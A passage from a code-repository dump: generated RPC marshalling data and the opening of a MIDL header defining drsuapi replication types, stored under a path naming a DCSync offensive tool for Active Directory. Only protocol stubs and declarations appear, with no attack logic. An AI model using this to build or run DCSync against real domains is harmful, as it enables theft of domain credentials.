),\t/* 0 */\n/* 7426 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7428) */\n/* 7428 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 7430 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7432 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7436 */\tNdrFcShort( 0xf05c ),\t/* Offset= -4004 (3432) */\n/* 7438 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7437) */\n/* 7440 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7442 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7444) */\n/* 7444 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7446 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7448 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7450 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7452 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7454 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7462 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7464) */\n/* 7464 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 7466 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7468 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7472 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7476) */\n/* 7474 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7473) */\n/* 7476 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7478 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 7480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7482 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7486) */\n/* 7484 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7486 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7488 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7490 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7492 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7494) */\n/* 7494 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7496 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7498 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7500 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7502 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7504 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7508 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7512 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7514) */\n/* 7514 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7516 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7518 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7522 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (7548) */\n/* 7524 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7523) */\n/* 7526 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7528 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7530 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7532 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 7534 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7536 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7538 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7542 */\tNdrFcLong( 0xffff ),\t/* 65535 */\n/* 7546 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7548 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7550 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7554 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (7560) */\n/* 7556 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7558 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7560 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7562 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (7526) */\n/* 7564 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7566 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7568) */\n/* 7568 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7570 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7572 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7574 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7576 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7578 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7582 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7586 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7588) */\n/* 7588 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 7590 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7592 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7596 */\tNdrFcShort( 0xefbc ),\t/* Offset= -4164 (3432) */\n/* 7598 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7597) */\n/* 7600 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7602 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7604) */\n/* 7604 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7606 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7608 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7610 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7612 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7614 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7622 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7624) */\n/* 7624 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 7626 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7628 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7632 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (7702) */\n/* 7634 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7633) */\n/* 7636 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7638 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7640 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7642 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7644 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7646 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7648 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7652 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 7656 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7658 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7660 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7662 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7664 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 7666 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7668 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7670 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7674 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 7678 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7680 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7682 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7684 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7686 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 7688 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7690 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7696 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 7700 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7702 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7704 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 7706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7708 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (7724) */\n/* 7710 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7712 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7714 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 7716 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7718 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7720 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 7722 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7724 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7726 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 7728 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7730 */\tNdrFcShort( 0xffa2 ),\t/* Offset= -94 (7636) */\n/* 7732 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7734 */\tNdrFcShort( 0xffb4 ),\t/* Offset= -76 (7658) */\n/* 7736 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7738 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (7680) */\n/* 7740 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 7742 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7744) */\n/* 7744 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7746 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7748 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 7750 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7752 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7754 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7758 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7762 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7764) */\n/* 7764 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7766 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7768 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7772 */\tNdrFcShort( 0x1a ),\t/* Offset= 26 (7798) */\n/* 7774 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7773) */\n/* 7776 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 7778 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7780 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 7782 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 7784 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 7786 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 7788 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7792 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 7796 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7798 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7800 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7802 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7804 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (7810) */\n/* 7806 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 7808 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7810 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 7812 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (7776) */\n/* 7814 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 7816 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7818) */\n/* 7818 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 7820 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 7822 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 7824 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 7826 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 7828 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7832 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 7836 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (7838) */\n/* 7838 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7840 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 7842 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 7846 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (7850) */\n/* 7848 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (7847) */\n/* 7850 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 7852 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 7854 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 7856 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (7862) */\n/* 7858 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 7860 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 7862 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 7864 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n\n\t\t\t0x0\n        }\n    };\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/drsuapi/ms-drsr.h",
    "content": "\r\n\r\n/* Compiler settings for ms-drsr.idl:\r\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \r\n    protocol : dce , ms_ext, c_ext, robust\r\n    error checks: allocation ref bounds_check enum stub_data \r\n    VC __declspec() decoration level: \r\n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\r\n         DECLSPEC_UUID(), MIDL_INTERFACE()\r\n*/\r\n/* @@MIDL_FILE_HEADING(  ) */\r\n\r\n#pragma warning( disable: 4049 )  /* more than 64k source lines */\r\n\r\n#ifndef MS_DSRS_H\r\n#define MS_DSRS_H\r\n#endif\r\n\r\n\r\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\r\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\r\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\r\n#endif\r\n\r\n#include \"rpc.h\"\r\n#include \"rpcndr.h\"\r\n\r\n#ifndef __RPCNDR_H_VERSION__\r\n#error this stub requires an updated version of <rpcndr.h>\r\n#endif /* __RPCNDR_H_VERSION__ */\r\n\r\n\r\n#ifndef __ms2Ddrsr_h__\r\n#define __ms2Ddrsr_h__\r\n\r\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\r\n#pragma once\r\n#endif\r\n\r\n#ifndef DECLSPEC_XFGVIRT\r\n#if defined(_CONTROL_FLOW_GUARD_XFG)\r\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\r\n#else\r\n#define DECLSPEC_XFGVIRT(base, func)\r\n#endif\r\n#endif\r\n\r\n/* Forward Declarations */ \r\n\r\n#ifdef __cplusplus\r\nextern \"C\"{\r\n#endif \r\n\r\n\r\n#ifndef __drsuapi_INTERFACE_DEFINED__\r\n#define __drsuapi_INTERFACE_DEFINED__\r\n\r\n/* interface drsuapi */\r\n/* [unique][version][uuid] */ \r\n\r\n// Define RPC_UNICODE_STRING since we are not including ms-dtyp.h\r\ntypedef struct _RPC_UNICODE_STRING {\r\n    unsigned short Length;\r\n    unsigned short MaximumLength;\r\n    WCHAR *Buffer;\r\n} RPC_UNICODE_STRING;\r\n\r\ntypedef LONGLONG DSTIME;\r\n\r\ntypedef /* [context_handle] */ void *DRS_HANDLE;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0001\r\n    {\r\n    unsigned char Data[ 28 ];\r\n    } \tNT4SID;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0002\r\n    {\r\n    unsigned long structLen;\r\n    unsigned long SidLen;\r\n    GUID Guid;\r\n    NT4SID Sid;\r\n    unsigned long NameLen;\r\n    /* [size_is][range] */ WCHAR StringName[ 1 ];\r\n    } \tDSNAME;\r\n\r\ntypedef LONGLONG USN;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0003\r\n    {\r\n    USN usnHighObjUpdate;\r\n    USN usnReserved;\r\n    USN usnHighPropUpdate;\r\n    } \tUSN_VECTOR;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0004\r\n    {\r\n    UUID uuidDsa;\r\n    USN usnHighPropUpdate;\r\n    } \tUPTODATE_CURSOR_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0005\r\n    {\r\n    DWORD dwVersion;\r\n    DWORD dwReserved1;\r\n    /* [range] */ DWORD cNumCursors;\r\n    DWORD dwReserved2;\r\n    /* [size_is] */ UPTODATE_CURSOR_V1 rgCursors[ 1 ];\r\n    } \tUPTODATE_VECTOR_V1_EXT;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0006\r\n    {\r\n    /* [range] */ unsigned int length;\r\n    /* [size_is] */ BYTE *elements;\r\n    } \tOID_t;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0007\r\n    {\r\n    unsigned long ndx;\r\n    OID_t prefix;\r\n    } \tPrefixTableEntry;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0008\r\n    {\r\n    /* [range] */ DWORD PrefixCount;\r\n    /* [size_is] */ PrefixTableEntry *pPrefixEntry;\r\n    } \tSCHEMA_PREFIX_TABLE;\r\n\r\ntypedef ULONG ATTRTYP;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0009\r\n    {\r\n    DWORD dwVersion;\r\n    DWORD dwReserved1;\r\n    /* [range] */ DWORD cAttrs;\r\n    /* [size_is] */ ATTRTYP rgPartialAttr[ 1 ];\r\n    } \tPARTIAL_ATTR_VECTOR_V1_EXT;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0010\r\n    {\r\n    /* [range] */ unsigned long mtx_namelen;\r\n    /* [size_is] */ unsigned char mtx_name[ 1 ];\r\n    } \tMTX_ADDR;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0011\r\n    {\r\n    /* [range] */ ULONG valLen;\r\n    /* [size_is] */ UCHAR *pVal;\r\n    } \tATTRVAL;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0012\r\n    {\r\n    /* [range] */ ULONG valCount;\r\n    /* [size_is] */ ATTRVAL *pAVal;\r\n    } \tATTRVALBLOCK;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0013\r\n    {\r\n    ATTRTYP attrTyp;\r\n    ATTRVALBLOCK AttrVal;\r\n    } \tATTR;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0014\r\n    {\r\n    /* [range] */ ULONG attrCount;\r\n    /* [size_is] */ ATTR *pAttr;\r\n    } \tATTRBLOCK;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0015\r\n    {\r\n    DSNAME *pName;\r\n    unsigned long ulFlags;\r\n    ATTRBLOCK AttrBlock;\r\n    } \tENTINF;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0016\r\n    {\r\n    DWORD dwVersion;\r\n    DSTIME timeChanged;\r\n    UUID uuidDsaOriginating;\r\n    USN usnOriginating;\r\n    } \tPROPERTY_META_DATA_EXT;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0017\r\n    {\r\n    /* [range] */ DWORD cNumProps;\r\n    /* [size_is] */ PROPERTY_META_DATA_EXT rgMetaData[ 1 ];\r\n    } \tPROPERTY_META_DATA_EXT_VECTOR;\r\n\r\ntypedef struct REPLENTINFLIST\r\n    {\r\n    struct REPLENTINFLIST *pNextEntInf;\r\n    ENTINF Entinf;\r\n    BOOL fIsNCPrefix;\r\n    UUID *pParentGuid;\r\n    PROPERTY_META_DATA_EXT_VECTOR *pMetaDataExt;\r\n    } \tREPLENTINFLIST;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0018\r\n    {\r\n    UUID uuidDsa;\r\n    USN usnHighPropUpdate;\r\n    DSTIME timeLastSyncSuccess;\r\n    } \tUPTODATE_CURSOR_V2;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0019\r\n    {\r\n    DWORD dwVersion;\r\n    DWORD dwReserved1;\r\n    /* [range] */ DWORD cNumCursors;\r\n    DWORD dwReserved2;\r\n    /* [size_is] */ UPTODATE_CURSOR_V2 rgCursors[ 1 ];\r\n    } \tUPTODATE_VECTOR_V2_EXT;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0020\r\n    {\r\n    DSTIME timeCreated;\r\n    PROPERTY_META_DATA_EXT MetaData;\r\n    } \tVALUE_META_DATA_EXT_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0021\r\n    {\r\n    DSTIME timeCreated;\r\n    PROPERTY_META_DATA_EXT MetaData;\r\n    DWORD unused1;\r\n    DWORD unused2;\r\n    DWORD unused3;\r\n    DSTIME timeExpired;\r\n    } \tVALUE_META_DATA_EXT_V3;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0022\r\n    {\r\n    DSNAME *pObject;\r\n    ATTRTYP attrTyp;\r\n    ATTRVAL Aval;\r\n    BOOL fIsPresent;\r\n    VALUE_META_DATA_EXT_V1 MetaData;\r\n    } \tREPLVALINF_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0023\r\n    {\r\n    DSNAME *pObject;\r\n    ATTRTYP attrTyp;\r\n    ATTRVAL Aval;\r\n    BOOL fIsPresent;\r\n    VALUE_META_DATA_EXT_V3 MetaData;\r\n    } \tREPLVALINF_V3;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0024\r\n    {\r\n    UCHAR rgTimes[ 84 ];\r\n    } \tREPLTIMES;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0025\r\n    {\r\n    DWORD status;\r\n    /* [unique][string] */ WCHAR *pDomain;\r\n    /* [unique][string] */ WCHAR *pName;\r\n    } \tDS_NAME_RESULT_ITEMW;\r\n\r\ntypedef struct __MIDL_drsuapi_0025 *PDS_NAME_RESULT_ITEMW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0026\r\n    {\r\n    DWORD cItems;\r\n    /* [size_is] */ PDS_NAME_RESULT_ITEMW rItems;\r\n    } \tDS_NAME_RESULTW;\r\n\r\ntypedef struct __MIDL_drsuapi_0026 *PDS_NAME_RESULTW;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0027\r\n    {\r\n    /* [unique][string] */ WCHAR *NetbiosName;\r\n    /* [unique][string] */ WCHAR *DnsHostName;\r\n    /* [unique][string] */ WCHAR *SiteName;\r\n    /* [unique][string] */ WCHAR *ComputerObjectName;\r\n    /* [unique][string] */ WCHAR *ServerObjectName;\r\n    BOOL fIsPdc;\r\n    BOOL fDsEnabled;\r\n    } \tDS_DOMAIN_CONTROLLER_INFO_1W;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0028\r\n    {\r\n    /* [unique][string] */ WCHAR *NetbiosName;\r\n    /* [unique][string] */ WCHAR *DnsHostName;\r\n    /* [unique][string] */ WCHAR *SiteName;\r\n    /* [unique][string] */ WCHAR *SiteObjectName;\r\n    /* [unique][string] */ WCHAR *ComputerObjectName;\r\n    /* [unique][string] */ WCHAR *ServerObjectName;\r\n    /* [unique][string] */ WCHAR *NtdsDsaObjectName;\r\n    BOOL fIsPdc;\r\n    BOOL fDsEnabled;\r\n    BOOL fIsGc;\r\n    GUID SiteObjectGuid;\r\n    GUID ComputerObjectGuid;\r\n    GUID ServerObjectGuid;\r\n    GUID NtdsDsaObjectGuid;\r\n    } \tDS_DOMAIN_CONTROLLER_INFO_2W;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0029\r\n    {\r\n    /* [unique][string] */ WCHAR *NetbiosName;\r\n    /* [unique][string] */ WCHAR *DnsHostName;\r\n    /* [unique][string] */ WCHAR *SiteName;\r\n    /* [unique][string] */ WCHAR *SiteObjectName;\r\n    /* [unique][string] */ WCHAR *ComputerObjectName;\r\n    /* [unique][string] */ WCHAR *ServerObjectName;\r\n    /* [unique][string] */ WCHAR *NtdsDsaObjectName;\r\n    BOOL fIsPdc;\r\n    BOOL fDsEnabled;\r\n    BOOL fIsGc;\r\n    BOOL fIsRodc;\r\n    GUID SiteObjectGuid;\r\n    GUID ComputerObjectGuid;\r\n    GUID ServerObjectGuid;\r\n    GUID NtdsDsaObjectGuid;\r\n    } \tDS_DOMAIN_CONTROLLER_INFO_3W;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0030\r\n    {\r\n    DWORD IPAddress;\r\n    DWORD NotificationCount;\r\n    DWORD secTimeConnected;\r\n    DWORD Flags;\r\n    DWORD TotalRequests;\r\n    DWORD Reserved1;\r\n    /* [unique][string] */ WCHAR *UserName;\r\n    } \tDS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW;\r\n\r\ntypedef struct ENTINFLIST\r\n    {\r\n    struct ENTINFLIST *pNextEntInf;\r\n    ENTINF Entinf;\r\n    } \tENTINFLIST;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0031\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    ATTRTYP type;\r\n    BOOL valReturned;\r\n    ATTRVAL Val;\r\n    } \tINTFORMPROB_DRS_WIRE_V1;\r\n\r\ntypedef struct _PROBLEMLIST_DRS_WIRE_V1\r\n    {\r\n    struct _PROBLEMLIST_DRS_WIRE_V1 *pNextProblem;\r\n    INTFORMPROB_DRS_WIRE_V1 intprob;\r\n    } \tPROBLEMLIST_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0032\r\n    {\r\n    DSNAME *pObject;\r\n    ULONG count;\r\n    PROBLEMLIST_DRS_WIRE_V1 FirstProblem;\r\n    } \tATRERR_DRS_WIRE_V1;\r\n\r\ntypedef /*  */ struct __MIDL_drsuapi_0033\r\n    {\r\n    DWORD dsid;\r\n    DWORD extendedErr;\r\n    DWORD extendedData;\r\n    USHORT problem;\r\n    DSNAME *pMatched;\r\n   